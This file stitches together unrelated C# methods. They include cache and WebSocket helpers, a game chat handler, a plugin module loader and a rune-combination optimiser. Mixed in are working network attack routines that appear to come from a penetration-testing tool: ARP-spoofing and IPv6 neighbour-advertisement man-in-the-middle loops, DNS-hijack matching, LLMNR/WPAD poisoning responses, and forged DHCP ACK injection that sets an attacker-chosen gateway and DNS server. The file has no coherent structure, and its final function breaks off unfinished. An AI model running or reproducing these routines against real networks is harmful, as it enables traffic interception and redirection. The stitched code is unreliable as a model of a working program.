void pasiveScan_NewARP(object sender, Core.ArpEventArgs e)
{
if (e.p == null)
{
return;
}
Packet p = e.p;
if (!(p.PayloadPacket is ARPPacket))
{
return;
}
ARPPacket arp = (ARPPacket)p.PayloadPacket;
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.InvalidMacSpoofIpv4 && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is InvalidMacSpoofAttackIpv4Attack)
{
InvalidMacSpoofAttackIpv4Attack spoofAttack = (InvalidMacSpoofAttackIpv4Attack)attack;
if ((spoofAttack.t1.mac.Equals(arp.SenderHardwareAddress)) && arp.TargetProtocolAddress.Equals(spoofAttack.t2.ip))
{
ForceAttack(spoofAttack);
}
}
}
}
private void Attack()
{
while (true)
{
try
{
PhysicalAddress MACLocal = device.MacAddress;
EthernetPacket ethernet;
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.ARPSpoofing && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is MitmAttack)
{
ethernet = GenerateResponseArpPoison(device.Interface.MacAddress,
((MitmAttack)attack).t1.mac,
((MitmAttack)attack).t1.ip,
((MitmAttack)attack).t2.ip);
Program.CurrentProject.data.SendPacket(ethernet);
ethernet = GenerateResponseArpPoison(device.Interface.MacAddress,
((MitmAttack)attack).t2.mac,
((MitmAttack)attack).t2.ip,
((MitmAttack)attack).t1.ip);
Program.CurrentProject.data.SendPacket(ethernet);
}
}
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.ARPSpoofing && A.attackStatus == Data.AttackStatus.Stopping))
{
if (attack is MitmAttack)
{
ethernet = new EthernetPacket(device.Interface.MacAddress, ((MitmAttack)attack).t1.mac, EthernetPacketType.Arp);
ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t2.ip);
Program.CurrentProject.data.SendPacket(ethernet);
ethernet = new EthernetPacket(device.Interface.MacAddress, ((MitmAttack)attack).t2.mac, EthernetPacketType.Arp);
ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t1.ip);
Program.CurrentProject.data.SendPacket(ethernet);
attack.attackStatus = Data.AttackStatus.Stop;
}
}
Thread.Sleep(SendPacketEachXSecs * 1000);
}
catch (ThreadAbortException)
{
return;
}
catch
{
}
}
}
public IWebSocketConnection GetConnection(string id)
{
try
{
_readerWriterLockSlim.EnterReadLock();
return(_connections.Where(x => x.Id == id).FirstOrDefault());
}
finally
{
_readerWriterLockSlim.ExitReadLock();
}
}
/// <summary>
/// 注册Ajax节点
/// </summary>
/// <param name="node"></param>
/// <param name="e"></param>
private void AjaxMark(HtmlElement node, EventHandler e)
{
if (_ajaxSet == null)
{
_ajaxSet = new SynchronizedCollection <Tuple <HtmlElement, EventHandler> >();
_ajaxRaiser = new JobTimer(state =>
{
foreach (var item in _ajaxSet.Where(p => p.Item1.GetAttribute(AjaxBlockEntity.AjaxBlock) == "0").ToArray())
{
item.Item2(item.Item1, EventArgs.Empty);
}
}, Timeout.InfiniteTimeSpan)
{
AutoDispose = false
};
}
node.SetAttribute(AjaxBlockEntity.AjaxBlock, "0");
var q = from t in _ajaxSet
where t.Item1 == node
select t;
var tuple = q.SingleOrDefault();
if (tuple != null)
{
_ajaxSet.Remove(tuple);
}
_ajaxSet.Add(Tuple.Create(node, e));
}
private DataRow[] ParseQuery(string txt)
{
if (txt.Length > 0 && persons != null)
{
txt = Replacer.ReplaceRusLat(txt);
string[] w = Regex.Split(txt, @"\s+");
if (w.Length > 0)
{
List <DataRow> result = persons.Where(x =>
x[Environment.PersonsUsedData.NameRLField].ToString().ToLower().StartsWith(w[0].ToLower())).ToList();
for (int i = 1; i < w.Length && result.Count > 0; i++)
{
result = result.Where(x =>
x[Environment.PersonsUsedData.NameRLField].ToString().ToLower().Contains(" " + w[i].ToLower())).ToList();
}
if (result.Count > 0)
{
return(result.ToArray());
}
}
}
return(null);
}
private void combo1_SelectedIndexChanged(object sender, EventArgs e)
{
try
{
combo2.Items.Clear();
combo2.Items.Add("[" + Environment.StringResources.GetString("Absent") + "]");
// filling combo2
foreach (KeyValuePair <string, string> t in groupNames.Where(t => combo1.Text != t.Value))
{
combo2.Items.Add(t.Value);
if (goBuf != null && goBuf.Length >= 2)
{
// 2nd combo check
if (goBuf.Substring(1, 1) == t.Key)
{
combo2.SelectedIndex = combo2.Items.Count - 1;
}
}
}
if (combo2.Text == "")
{
combo2.SelectedIndex = 0;
}
}
catch (Exception ex)
{
Lib.Win.Data.Env.WriteToLog(ex);
}
}
public T Get(string identifier)
{
lock (getLock)
{
// Check the cache
var entry = _cache.Where(ce => ce.Identifier == identifier).SingleOrDefault();
// Remove entry if it's too old
if (entry != null && entry.Expired)
{
_cache.Remove(entry);
entry = null;
}
// If we still have a fresh entry, return it
if (entry != null)
{
return(entry.Data);
}
else
{
// Otherwise, fetch it and cache it.
T newData = default(T);
newData = _onCacheMiss(identifier);
_cache.Add(new CacheEntry <T> {
Data = newData, Identifier = identifier, Expires = DateTime.Now.AddSeconds(_duration)
});
return(newData);
}
}
}
public void RecreateSingleTag(int?id)
{
Tag tag = _tags.Where(x => x.Id == id).SingleOrDefault();
if (tag != null)
{
lock (_locker)
{
var decisions = _decisions.ToList();
var existing = _decisionTags.Where(x => x.TagId == id);
Parallel.ForEach(existing, existingTag =>
{
_decisionTags.Remove(existingTag);
});
Parallel.ForEach(_decisions, dec =>
{
if (Regex.IsMatch(dec.Content, tag.RegExp, RegexOptions.IgnoreCase))
{
DecisionTag dt = new DecisionTag()
{
DecisionId = dec.Id,
TagId = tag.Id
};
_decisionTags.Add(dt);
}
});
}
}
}
public void Verify()
{
if (docIDs.Count > 0 || fileNames.Count > 0)
{
var sb = new StringBuilder();
sb.Append(Environment.StringResources.GetString("NewWindowDefaultToolTip"));
foreach (KeyValuePair <int, string> t in docIDs.Where(t => t.Key > 0))
{
sb.Append("\n");
sb.Append(t.Value);
}
foreach (KeyValuePair <string, string> t in fileNames)
{
sb.Append("\n");
sb.Append(t.Value);
}
tooltip.SetToolTip(this, sb.ToString());
Text = string.Empty;
Visible = true;
Enabled = true;
}
else
{
tooltip.RemoveAll();
Visible = false;
Enabled = false;
}
}
private List <(string tableName, string conString, DatabaseType dbType)> GetTargetTables
(string absTableName, ReadWriteType opType, string absDbName, object obj = null)
{
//获取抽象数据库
AbstractDatabase db = null;
if (absDbName.IsNullOrEmpty())
{
db = _absDb.Single();
}
else
{
db = _absDb.Where(x => x.AbsDbName == absDbName).Single();
}
if (db == null)
{
throw new Exception("请配置抽象数据库");
}
//获取抽象数据表
var absTable = db.Tables.Where(x => x.AbsTableName == absDbName).Single();
//获取物理表
List <(string physicTableName, string dataSourceName)> physicTables = null;
//读操作获取全部表
if (opType == ReadWriteType.Read)
{
physicTables = absTable.PhysicTables;
}
else
{
//找特定表
if (!obj.IsNullOrEmpty())
{
var theTable = absTable.FindTable(obj);
physicTables = absTable.PhysicTables.Where(x => x.physicTableName == theTable).ToList();
}
//所有表
else
{
physicTables = absTable.PhysicTables;
}
}
//获取数据源
var dataSources = _dataSource
.Where(x => physicTables.Select(y => y.dataSourceName).Contains(x.DataSourceName))
.Select(x => new { x.DataSourceName, x.DbType, RandomHelper.Next(x.Dbs.Where(y => y.opType.HasFlag(opType)).ToList()).conString })
.ToList();
var q = from a in physicTables
join b in dataSources on a.dataSourceName equals b.DataSourceName
select(a.physicTableName, b.conString, b.DbType);
var resList = q.ToList();
return(resList);
}
public void CancelPending()
{
lock (_queueSimpleOperation.SyncRoot)
_queueSimpleOperation.Where(op => op.OperationStatus == FileOperationStatus.Waiting).ToList().ForEach(op => op.Abort());
lock (_queueConvertOperation.SyncRoot)
_queueConvertOperation.Where(op => op.OperationStatus == FileOperationStatus.Waiting).ToList().ForEach(op => op.Abort());
lock (_queueExportOperation.SyncRoot)
_queueExportOperation.Where(op => op.OperationStatus == FileOperationStatus.Waiting).ToList().ForEach(op => op.Abort());
Logger.Trace("Cancelled pending operations");
}
/// <summary>
/// Run query for logged event based on criteria in EventInfo
/// </summary>
/// <param name="eventInfo"></param>
/// <returns></returns>
private LoggedEvent RunQuery(EventInfo eventInfo)
{
LoggedEvent loggedEvent = null;
IEnumerable <LoggedEvent> results = null;
if (eventInfo.EventId >= 0) // kind of silly, but...
{
// select with minimun info
results = EventLogEntries.Where(e => e.Observed == false &&
e.LogEntry.EventID == eventInfo.EventId &&
e.LogEntry.EntryType == eventInfo.EventType);
// Event source populated?
if (!string.IsNullOrWhiteSpace(eventInfo.EventSource))
{
results = results.Where(e => e.LogEntry.Source == eventInfo.EventSource);
}
// EventMEssage populated?
if (!string.IsNullOrWhiteSpace(eventInfo.EventMessage))
{
results = results.Where(e => e.LogEntry.Message.Contains(eventInfo.EventMessage));
}
loggedEvent = results.DefaultIfEmpty(null).FirstOrDefault();
}
else
{
TraceWriteLn("Event lacks basic criteria for query (min: EventId >= 0)");
// set as never found
loggedEvent = null;
}
return(loggedEvent);
}
private void Attack()
{
while (true)
{
try
{
PhysicalAddress MACLocal = device.MacAddress;
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.NeighborAdvertisementSpoofing && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is MitmAttack)
{
SendNeighborAdvertisement(((MitmAttack)attack).t1.ip, MACLocal, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t2.mac);
SendNeighborAdvertisement(((MitmAttack)attack).t2.ip, MACLocal, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t1.mac);
}
}
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.NeighborAdvertisementSpoofing && A.attackStatus == Data.AttackStatus.Stopping))
{
SendNeighborAdvertisement(((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t2.mac);
SendNeighborAdvertisement(((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t1.mac);
attack.attackStatus = Data.AttackStatus.Stop;
}
Thread.Sleep(SendPacketEachXSecs * 1000);
}
catch (ThreadAbortException)
{
return;
}
catch
{
}
}
}
public bool CheckIfHijack(Packet p)
{
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DNSHijacking && A.attackStatus == Data.AttackStatus.Attacking))
{
if ((p.PayloadPacket != null && p.PayloadPacket.PayloadPacket != null) && (p.PayloadPacket.PayloadPacket is UdpPacket))
{
EthernetPacket ethernet = (EthernetPacket)p;
IpPacket ip = (IpPacket)p.PayloadPacket;
UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket;
if ((udp.SourcePort == 53)) // La respuesta DNS
{
// Comprobamos que venga a nuestra MAC pero no a nuestra IP
if (NeedToRoute(ip))
{
try
{
Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData);
DNSHijackAttack dnsAttack = (DNSHijackAttack)attack;
foreach (Heijden.DNS.Question q in response.Questions)
{
if ((q.QName == dnsAttack.domain + ".") || dnsAttack.domain == "*")
{
return(true);
}
}
}
catch
{
return(false);
}
}
else
{
return(false);
}
}
}
}
return(false);
}
private void HandleChat(NetworkClient client, NetDataReader reader)
{
var chatMessage = reader.GetString();
var clientWorldId = client.WorldId;
var clientsInSameWorld = _clients
.Where(c => c.WorldId == clientWorldId && c.Id != client.Id)
.ToArray();
if (clientsInSameWorld.Any())
{
var writer = _writerPool.Get();
writer.Put(PacketIds.S2C.Chat);
writer.Put(chatMessage);
foreach (var clientInSameWorld in clientsInSameWorld)
{
clientInSameWorld.Send(writer);
}
_writerPool.Return(writer);
}
}
private void FormSelectIPs_Load(object sender, EventArgs e)
{
listViewNeighbors.FullRowSelect = true;
listViewNeighbors.MultiSelect = multiSelect;
foreach (Neighbor neighbor in lstNeighbors)
{
foreach (IPAddress ip in neighbor.GetIPs())
{
if ((lstIpsFiltered != null) && (lstIpsFiltered.Contains(ip)))
{
continue;
}
ListViewItem lvi = new ListViewItem(ip.ToString());
lvi.Tag = ip;
if (lstPrevIpsFiltered != null)
{
if (lstPrevIpsFiltered.Where(I => I.Equals(ip)).Count() > 0)
{
lvi.Selected = true;
}
}
if ((type == PanelTargets.TypeList.Ipv4) && (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork))
{
lvi.SubItems.Add("IPv4");
listViewNeighbors.Items.Add(lvi);
}
else if ((type == PanelTargets.TypeList.Ipv6) && (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6))
{
lvi.SubItems.Add("IPv6");
listViewNeighbors.Items.Add(lvi);
}
}
}
}
private void AnalyzeLLMNR(Packet packet)
{
if (!(packet is EthernetPacket))
{
return;
}
// IPv4 y IPv6
if (packet.PayloadPacket.PayloadPacket is UdpPacket)
{
// Respuestas de LLMNR. De aqui podemos capturar el nombre.
if ((((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort == 5355) && (((EthernetPacket)packet).Type == EthernetPacketType.IpV4))
{
LLMNR.LLMNRAnswer LLMNRAnswer = new LLMNR.LLMNRAnswer(packet.PayloadPacket.PayloadPacket.PayloadData);
// Solo lo cojemos las respuestas que son de tipo PTR o de tipo A
if (LLMNRAnswer.isPtrResponse == true && LLMNRAnswer.computerName != string.Empty)
{
Neighbor neighbor = Program.CurrentProject.data.GetNeighbor(((EthernetPacket)(packet)).SourceHwAddress);
if (neighbor == null)
{
neighbor = new Neighbor();
neighbor.computerName = LLMNRAnswer.computerName;
neighbor.AddIP(LLMNRAnswer.ipAddress);
neighbor.physicalAddress = ((EthernetPacket)(packet)).SourceHwAddress;
Program.CurrentProject.data.AddNeighbor(neighbor);
NewNeighbor(this, new NeighborEventArgs(neighbor));
}
else
{
neighbor.computerName = LLMNRAnswer.computerName;
Program.CurrentProject.data.AddNeighbor(neighbor);
}
}
}
if ((((EthernetPacket)packet).Type == EthernetPacketType.IpV4) && (((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 5355))
{
SynchronizedCollection <Attack> lstAttacks = Program.CurrentProject.data.GetAttacks();
// En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar
foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv4 && A.attackStatus == AttackStatus.Attacking))
{
MitmAttack mitmAtt = (MitmAttack)attk;
if (((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip))
{
WpadIPv4Attack.Instance.GenerateLLMNRResponse(packet);
}
}
}
if ((((EthernetPacket)packet).Type == EthernetPacketType.IpV6) && (((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort == 5355))
{
SynchronizedCollection <Attack> lstAttacks = Program.CurrentProject.data.GetAttacks();
// En caso de MITM ARP -> Si el equipo está intentando restablecer su tabla ARP ... se le vuelve a envenenar
foreach (Attack attk in lstAttacks.Where(A => A.attackType == AttackType.WpadIPv6 && A.attackStatus == AttackStatus.Attacking))
{
MitmAttack mitmAtt = (MitmAttack)attk;
if (((IPv6Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress.Equals(mitmAtt.t2.ip))
{
WpadIPv6Attack.Instance.GenerateLLMNRResponse(packet);
}
}
}
}
}
private void StartServer()
{
const string LOG_TAG_PREFIX = "ApplicationServer::StartServer::";
AggregateException ex = null;
this.ReinitTrustedCompositionCatalog();
// assemblies with services
{
var serviceDir = new DirectoryInfo(Path.Combine(this.WorkingDirectory, "services")).CreateDirectoryDeep();
this.LoadAndAddTrustedAssemblies(serviceDir.GetFiles("*.dll"),
LOG_TAG_PREFIX);
}
// assemblies with functions
{
var funcDir = new DirectoryInfo(Path.Combine(this.WorkingDirectory, "funcs")).CreateDirectoryDeep();
this.LoadAndAddTrustedAssemblies(funcDir.GetFiles("*.dll"),
LOG_TAG_PREFIX);
}
// web interface
{
IList <Assembly> webInterfaceAssemblies = new SynchronizedCollection <Assembly>();
var webDir = new DirectoryInfo(Path.Combine(this.WorkingDirectory, "web")).CreateDirectoryDeep();
this.LoadAndAddTrustedAssemblies(webDir.GetFiles("*.dll"),
LOG_TAG_PREFIX);
try
{
this.DisposeOldWebInterfaceServer();
//TODO read from configuration
var newWebInterfaceServer = ServiceLocator.Current.GetInstance <IHttpServer>();
{
// HTTPs ?
{
bool?useHttps;
this.StartupConfig
.TryGetValue <bool?>(category: CONFIG_CATEGORY_WEBINTERFACE,
name: CONFIG_VALUE_USE_HTTPS,
value: out useHttps,
defaultVal: DEFAULT_CONFIG_VALUE_USE_HTTPS);
newWebInterfaceServer.UseSecureHttp = useHttps ?? DEFAULT_CONFIG_VALUE_USE_HTTPS;
}
// TCP port
{
int?port;
this.StartupConfig
.TryGetValue <int?>(category: CONFIG_CATEGORY_WEBINTERFACE,
name: CONFIG_VALUE_PORT,
value: out port,
defaultVal: DEFAULT_CONFIG_VALUE_WEBINTERFACE_PORT);
newWebInterfaceServer.Port = port ?? DEFAULT_CONFIG_VALUE_WEBINTERFACE_PORT;
}
if (newWebInterfaceServer.UseSecureHttp)
{
// SSL thumbprint
{
newWebInterfaceServer.SetSslCertificateByThumbprint(this.StartupConfig
.GetValue <IEnumerable <char> >(category: CONFIG_CATEGORY_WEBINTERFACE,
name: CONFIG_VALUE_SSL_THUMBPRINT));
}
}
}
var newHandler = new WebInterfaceHandler(this, newWebInterfaceServer);
this._webHandler = newHandler;
newHandler.Start();
}
catch (Exception e)
{
this.Logger
.Log(msg: e.GetBaseException() ?? e,
tag: LOG_TAG_PREFIX + "WebInterface",
categories: LoggerFacadeCategories.Errors);
this.DisposeOldWebInterfaceServer();
}
}
var moduleList = this.Modules;
if (moduleList != null)
{
ex = moduleList.OfType <global::System.IDisposable>()
.ForAllAsync(ctx =>
{
var m = ctx.Item;
var doDispose = true;
var dispObj = m as ITMDisposable;
if (dispObj != null)
{
doDispose = !dispObj.IsDisposed;
}
if (doDispose)
{
m.Dispose();
}
}, throwExceptions: false);
}
if (ex != null)
{
this.Logger
.Log(msg: ex,
tag: LOG_TAG_PREFIX + "UnloadOldModules",
categories: LoggerFacadeCategories.Errors);
}
IList <IAppServerModule> newModules = new SynchronizedCollection <IAppServerModule>();
var modDir = new DirectoryInfo(Path.Combine(this.WorkingDirectory, "modules")).CreateDirectoryDeep();
{
ex = modDir.GetFiles("*.dll")
.ForAllAsync(ctx =>
{
var f = ctx.Item;
var trustedCatalog = ctx.State.CompositionCatalog.Clone(cloneCatalogData: true);
var asmName = AssemblyName.GetAssemblyName(f.FullName);
if (!trustedCatalog.IsTrustedAssembly(asmName))
{
#if DEBUG
var s = string.Format("INSERT INTO [Security].[TrustedAssemblies] (TrustedAssemblyKey, Name) VALUES (0x{0}, N'{1}');",
asmName.GetPublicKey().AsHexString(),
asmName.FullName);
#endif
ctx.State
.Logger
.Log(categories: LoggerFacadeCategories.Warnings,
msg: string.Format("'{0}' is no trusted module!",
f.FullName));
return;
}
var asmBlob = File.ReadAllBytes(f.FullName);
var asm = Assembly.Load(asmBlob);
trustedCatalog.AddAssembly(asm);
CompositionContainer container;
DelegateServiceLocator serviceLocator;
{
var catalog = new AggregateCatalog();
catalog.Catalogs.Add(trustedCatalog);
container = new CompositionContainer(catalog,
isThreadSafe: true);
serviceLocator = new DelegateServiceLocator(new ExportProviderServiceLocator(container));
}
var modules = serviceLocator.GetAllInstances <IAppServerModule>().AsArray();
if (modules.Length == 1)
{
CompositionHelper.ComposeExportedValueEx(container,
modules[0]);
}
else
{
foreach (var m in modules)
{
CompositionHelper.ComposeExportedValue(container,
m,
m.GetType());
}
}
modules.ForAll(ctx2 =>
{
var m = ctx2.Item;
if (m.IsInitialized)
{
// no need to initialize
return;
}
//TODO: add implementation(s)
var logger = new AggregateLogger();
var moduleRootDir = new DirectoryInfo(Path.Combine(ctx2.State.ModuleDirectory,
m.Name)).CreateDirectoryDeep();
var moduleCtx = new SimpleAppServerModuleContext(m);
moduleCtx.Config = new IniFileConfigRepository(Path.Combine(moduleRootDir.FullName,
"config.ini"));
moduleCtx.InnerServiceLocator = ctx2.State.ServiceLocator;
moduleCtx.Logger = logger;
moduleCtx.OtherModules = ctx2.State.AllModules
.Where(CreateWherePredicateForExtractingOtherModules(m));
moduleCtx.SetAssemblyFile(ctx2.State.AssemblyFile.FullName);
var moduleInitCtx = new SimpleAppServerModuleInitContext();
moduleInitCtx.ModuleContext = moduleCtx;
moduleInitCtx.RootDirectory = moduleRootDir.FullName;
m.Initialize(moduleInitCtx);
ctx2.State
.NewModules
.Add(m);
}, actionState: new
{
AllModules = modules,
AssemblyFile = f,
ModuleDirectory = ctx.State.ModuleDirectory,
NewModules = ctx.State.NewModules,
ServiceLocator = serviceLocator,
}, throwExceptions: true);
}, actionState: new
{
CompositionCatalog = this.TrustedCompositionCatalog
.Clone(cloneCatalogData: false),
Logger = this.Logger,
ModuleDirectory = modDir.FullName,
NewModules = newModules,
}, throwExceptions: false);
if (ex != null)
{
this.Logger
.Log(msg: ex,
tag: LOG_TAG_PREFIX + "LoadModules",
categories: LoggerFacadeCategories.Errors);
}
}
this.Modules = newModules.Where(m => m.IsInitialized)
.ToArray();
if (this.Modules.Length > 0)
{
this.Logger
.Log(msg: string.Format("{0} modules were loaded.", this.Modules.Length),
tag: LOG_TAG_PREFIX + "LoadModules",
categories: LoggerFacadeCategories.Information);
}
else
{
this.Logger
.Log(msg: "No module was loaded.",
tag: LOG_TAG_PREFIX + "LoadModules",
categories: LoggerFacadeCategories.Warnings);
}
this.RefreshEntityAssemblyList();
ex = newModules.Where(m => m.CanStart &&
m.IsInitialized)
.ForAllAsync(ctx =>
{
var m = ctx.Item;
m.Start();
}, throwExceptions: false);
if (ex != null)
{
this.Logger
.Log(msg: ex,
tag: LOG_TAG_PREFIX + "StartModules",
categories: LoggerFacadeCategories.Errors);
}
}
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p)
{
if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket))
{
return;
}
UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket;
if (udp.ParentPacket == null)
{
return;
}
if (!(udp.ParentPacket is IPv4Packet))
{
return;
}
IPv4Packet packetIpLayer = (IPv4Packet)udp.ParentPacket;
if (udp.PayloadData.Length < sizeof(DHCP.bootp))
{
return;
}
DHCP.bootp *dhcp = (DHCP.bootp *)Marshal.UnsafeAddrOfPinnedArrayElement(udp.PayloadData, 0).ToPointer();
DHCP.RequestedIP optionRequestedIP = new DHCP.RequestedIP();
bool existsOptionRequestedIP = false;
DHCP.ServerID optionServerID = new DHCP.ServerID();
bool existsOptionServerID = false;
string Strname = string.Empty;
ushort bp_vend_len = (ushort)(udp.Length - Marshal.SizeOf(*dhcp) + 4);
uint pos = 4;
while (pos < bp_vend_len)
{
byte option = dhcp->bp_vend[pos];
if (option == 0xff)
{
break;
}
byte len = dhcp->bp_vend[pos + 1];
switch (option)
{
case DHCP.TAG_DHCP_MESSAGE:
{
DHCP.MessageType *mtype = (DHCP.MessageType *)(dhcp->bp_vend + pos);
//We save the real DHCP IP
if (mtype->type == DHCP.DHCPACK && packetIpLayer.SourceAddress.Address != 0)
{
DHCPIP = packetIpLayer.SourceAddress;
}
//We get the DHCP Server MAC
if (mtype->type == DHCP.DHCPOFFER)
{
DHCPMAC = (p as EthernetPacket).SourceHwAddress;
}
//We only continue if it's a DHCP Request
if (mtype->type != DHCP.DHCPREQUEST)
{
return;
}
break;
}
case DHCP.TAG_REQUESTED_IP:
{
optionRequestedIP.id = ((DHCP.RequestedIP *)(dhcp->bp_vend + pos))->id;
existsOptionRequestedIP = true;
break;
}
case DHCP.TAG_SERVER_ID:
{
optionServerID.id = ((DHCP.ServerID *)(dhcp->bp_vend + pos))->id;
DHCPIP = new IPAddress(optionServerID.id);
existsOptionServerID = true;
break;
}
case DHCP.TAG_HOSTNAME:
{
byte *chr = (((DHCP.Hostname *)(dhcp->bp_vend + pos))->name);
byte lenght = ((DHCP.Hostname *)(dhcp->bp_vend + pos))->optionHeader.lenght;
for (int i = 0; i < lenght; i++)
{
Strname += (char)chr[i];
}
break;
}
}
pos += (uint)len + 2; //The option and the length field
}
bool realizarataque = false;
string dns = string.Empty;
string gateway = string.Empty;
string MAC;
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DHCPACKInjection && A.attackStatus == Data.AttackStatus.Attacking))
{
dns = (attack as DHCPACKInjectionAttack).dns;
gateway = (attack as DHCPACKInjectionAttack).gateway;
MAC = (attack as DHCPACKInjectionAttack).MAC;
//If filter does not apply not continue
if (!string.IsNullOrEmpty(MAC) && !(p.PayloadPacket as EthernetPacket).SourceHwAddress.Equals(PhysicalAddress.Parse(MAC)))
{
realizarataque = false;
}
else
{
realizarataque = true;
break;
}
}
if (!realizarataque)
{
return;
}
//Configuration used in the attack
PhysicalAddress MACUsed;
if (Program.CurrentProject.data.settings.UseRealDHCPData)
{
if (DHCPMAC != null)
{
MACUsed = DHCPMAC;
}
else //If the real dhcp server mac is not found we use the computer network device mac
{
MACUsed = device.Interface.MacAddress;
}
}
else
{
MACUsed = PhysicalAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerMAC);
}
IPAddress IPUsed;
if (Program.CurrentProject.data.settings.UseRealDHCPData)
{
if (existsOptionServerID)
{
IPUsed = new IPAddress(optionServerID.id);
}
else
{
if (DHCPIP.Address == 0)
{
Program.LogThis("DHCP IP Address unknown, using 0.0.0.0 as IP source", Logs.Log.LogType.DHCPACKInjection);
IPUsed = IPAddress.Parse("0.0.0.0");
}
else
{
IPUsed = DHCPIP;
}
}
}
else
{
IPUsed = IPAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerIP);
}
//Now we create a fake response
EthernetPacket response = new EthernetPacket(MACUsed, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), EthernetPacketType.IpV4);
response.PayloadPacket = new IPv4Packet(IPUsed, new System.Net.IPAddress(0xffffffff));
//We want to follow the IP communication
(response.PayloadPacket as IPv4Packet).Id = packetIpLayer.Id;
response.PayloadPacket.PayloadPacket = new UdpPacket(67, 68);
response.PayloadPacket.PayloadPacket.PayloadData = new byte[16];
response.PayloadPacket.PayloadPacket.PayloadData = new byte[sizeof(DHCP.bootp) + sizeof(DHCP.optionsResponse)];
dhcp->bp_op = DHCP.BOOTPREPLY;
if (existsOptionRequestedIP)
{
dhcp->bp_yiaddr = optionRequestedIP.id;
}
else if (dhcp->bp_ciaddr != 0)
{
dhcp->bp_yiaddr = dhcp->bp_ciaddr;
}
else
{
return;
}
dhcp->bp_flags = 0;
Marshal.Copy(new IntPtr(dhcp), response.PayloadPacket.PayloadPacket.PayloadData, 0, sizeof(DHCP.bootp));
//We need to fill the optionResponseStatic fields
if (existsOptionServerID)
{
optionResponseStatic.serverID.id = optionServerID.id;
}
optionResponseStatic.serverID.id = (uint)IPUsed.Address;
optionResponseStatic.route.ip = (uint)IPAddress.Parse(gateway).Address;
optionResponseStatic.domainNameServer.ip = (uint)IPAddress.Parse(dns).Address;
fixed(DHCP.optionsResponse *op = &optionResponseStatic)
{
Marshal.Copy(new IntPtr(op), response.PayloadPacket.PayloadPacket.PayloadData, sizeof(DHCP.bootp), sizeof(DHCP.optionsResponse));
}
response.UpdateCalculatedValues();
(response.PayloadPacket as IPv4Packet).UpdateCalculatedValues();
(response.PayloadPacket as IPv4Packet).UpdateIPChecksum();
(response.PayloadPacket.PayloadPacket as UdpPacket).UpdateCalculatedValues();
(response.PayloadPacket.PayloadPacket as UdpPacket).UpdateUDPChecksum();
device.SendPacket(response);
string message = string.Format("DHCP ACK sent to a {0} DHCP Request", new IPAddress(dhcp->bp_yiaddr).ToString());
Program.LogThis(message, Logs.Log.LogType.DHCPACKInjection);
}
public static Loadout MakeBuild(Monster mon, Rune[][] runesSlot, Func <Stats, double> sort, Predicate <RuneSet[]> reqsets = null, Predicate <Stats> minimum = null)
{
SynchronizedCollection <Monster> tests = new SynchronizedCollection <Monster>();//new List<Monster>();
long count = 0;
long total = runesSlot[0].Count();
total *= runesSlot[1].Count();
total *= runesSlot[2].Count();
total *= runesSlot[3].Count();
total *= runesSlot[4].Count();
total *= runesSlot[5].Count();
long complete = total;
DateTime timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", ((count + complete - total) / (double)complete)));
Parallel.ForEach(runesSlot[0], r0 =>
{
int kill = 0;
int plus = 0;
foreach (Rune r1 in runesSlot[1])
{
foreach (Rune r2 in runesSlot[2])
{
foreach (Rune r3 in runesSlot[3])
{
foreach (Rune r4 in runesSlot[4])
{
foreach (Rune r5 in runesSlot[5])
{
Monster test = new Monster(mon);
test.ApplyRune(r0);
test.ApplyRune(r1);
test.ApplyRune(r2);
test.ApplyRune(r3);
test.ApplyRune(r4);
test.ApplyRune(r5);
if (minimum != null && !minimum.Invoke(test.GetStats()))
{
kill++;
}
else if (reqsets != null && !reqsets.Invoke(test.Current.Sets))
{
kill++;
}
else
{
plus++;
tests.Add(test);
}
if (DateTime.Now > timer.AddSeconds(1))
{
timer = DateTime.Now;
Console.WriteLine(count + "/" + total + " " + String.Format("{0:P2}", (count + complete - total) / (double)complete));
}
}
Interlocked.Add(ref total, -kill);
kill = 0;
Interlocked.Add(ref count, plus);
plus = 0;
}
}
}
}
});
